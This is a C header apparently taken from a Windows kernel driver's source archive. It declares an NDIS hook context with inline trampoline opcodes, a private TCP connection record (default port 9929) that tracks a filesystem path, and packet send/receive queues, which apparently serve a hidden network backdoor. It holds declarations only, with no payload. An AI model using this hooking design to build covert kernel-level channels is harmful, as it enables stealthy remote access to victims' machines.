www.pudn.com > uay_source.rar > structs.h

#ifndef U_STRUCTS 
#define U_STRUCTS 
 
#include  
#include "TcpIpHdr.h" 
 
 
//-------------------------------------------------------------------- 
////struct 
#pragma pack(push) 
#pragma pack(1) 
typedef struct _HOOK_CONTEXT_STRUCT 
{ 
	//runtime code 
	UCHAR    code1_0x58; //0x58 | pop  eax      | pop caller IP from stack to eax 
	UCHAR    code2_0x68; //0x68 | push IMM      | push our hook context address 
	struct _HOOK_CONTEXT_STRUCT *m_pHookContext;//point this  
	UCHAR    code3_0x50; //0x50 | push eax		| push caller IP from eax to stack  
	UCHAR    code4_0xE9; //0xE9 | jmp HookProc  | jump our hook proc 
	ULONG   m_pHookProcOffset; 
 
	//our context data 
 
	PVOID    m_pOriginalProc; 
	PVOID    m_pHookProc; 
	PVOID    m_pBindAdaptHandle; 
	PVOID    m_pProtocolContent; 
	PVOID   *m_ppOriginPtr; 
 
	struct _HOOK_CONTEXT_STRUCT *m_pHookNext; 
	 
}HOOK_CONTEXT_STRUCT; 
#pragma pack(pop) 
//-------------------------------------------------------------------- 
 
 
#define MAX_PACKET_SIZE 1600  //whAt? 
//from privAte\net\sockets\winsock2\dll\sinsock2\Addrconv.cpp 
#define HTONS(s) ( ( ((s) >> 8) & 0x00FF ) | ( ((s) << 8) & 0xFF00 ) ) 
#define NTOHS(s) HTONS(s)  
#define HTONL(l)                            \ 
	( ( ((l) >> 24) & 0x000000FFL ) |       \ 
	( ((l) >>  8) & 0x0000FF00L ) |       \ 
	( ((l) <<  8) & 0x00FF0000L ) |       \ 
	( ((l) << 24) & 0xFF000000L ) ) 
#define NTOHL(l) HTONL(l) 
//-------------------------------------------------------------------- 
typedef 
struct _TCPS_Conection 
{ 
	LIST_ENTRY			m_ListElement; 
	HANDLE				m_pBindAdaptHandle;//NDIS_HANDLE 
	BOOLEAN				m_bIsConnected; 
	BOOLEAN				m_bIsConnecting; 
	ULONG				m_ReSendCount; 
	//pArt of ETHHDR 
	UCHAR				m_SourceMAc[ETH_ALEN]; 
	UCHAR				m_OurMAc[ETH_ALEN]; 
	//pArt of IPHDR 
	ULONG				m_SourceIp;//源ip 
	ULONG				m_OurIp; //our ip 
	//pArg of TCPHDR 
	USHORT				m_SourcePort; 
	USHORT				m_OurPort;//defAult is 9929 
	ULONG				m_Seq;//当前的seq和 Ack_seq 
	ULONG				m_Ack_seq; 
	ULONG				m_IsSyn; 
	ULONG				m_ExpectedSeq;//////// 
	ULONG				m_ExpectedAck_seq;//////// 
	USHORT				m_Window; 
	// 
	ULONG				m_PAcketsLeftToBeSend; 
	ULONG				m_DAtALength; 
	WCHAR				m_PAth[512];//the current pAth,beggin with \??\ eg. \??\c:\WINDOWS 
}TCPS_Connection,*PTCPS_Connection; 
 
//-------------------------------------------------------------------- 
#define DATALENGTH	1024 
typedef struct _RECVLIST *PRECVLIST; 
typedef struct _RECVLIST 
{ 
	char				dAtA[DATALENGTH];//bug 这样太浪费空间,应该在加入数据的时候动态分配 
	PTCPS_Connection	pConnection; 
	PRECVLIST			pNext; 
 
}RECVLIST,*PRECVLIST; 
 
typedef struct _RECVLISTHEAD 
{ 
	KSPIN_LOCK	kspRecvListLock; 
	KSEMAPHORE	ksemRecvListSemAphore; 
	PRECVLIST	pListFront; 
	PRECVLIST	pListBAck; 
 
}RECVLISTHEAD,*PRECVLISTHEAD; 
//-------------------------------------------------------------------- 
 
//-------------------------------------------------------------------- 
//存放待发送的包 
typedef struct _SENDLIST *PSENDLIST; 
typedef struct _SENDLIST 
{ 
	PVOID				pBuffer; 
	ULONG				ulBufferLength; 
	PTCPS_Connection	pConnection; 
	PSENDLIST			pNext; 
 
}SENDLIST,*PSENDLIST; 
 
typedef struct _SENDLISTHEAD 
{ 
	KSPIN_LOCK	kspSendListLock; 
	KSEMAPHORE	ksemSendListSemAphore; 
	PSENDLIST	pListFront; 
	PSENDLIST	pListBAck; 
 
}SENDLISTHEAD,*PSENDLISTHEAD; 
//-------------------------------------------------------------------- 
 
 
#define MAX_CONNECTIONS 32 
 
 
//-------------------------------------------------------------------- 
typedef struct _FILE_DIRECTORY_INFORMATION { // Information Class 1 
	ULONG NextEntryOffset; 
	ULONG Unknown; 
	LARGE_INTEGER CreationTime; 
	LARGE_INTEGER LastAccessTime; 
	LARGE_INTEGER LastWriteTime; 
	LARGE_INTEGER ChangeTime; 
	LARGE_INTEGER EndOfFile; 
	LARGE_INTEGER AllocationSize; 
	ULONG FileAttributes; 
	ULONG FileNameLength; 
	WCHAR FileName[1]; 
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; 
//-------------------------------------------------------------------- 
 
 
 
 
 
#endif //#ifndef U_FUKTDI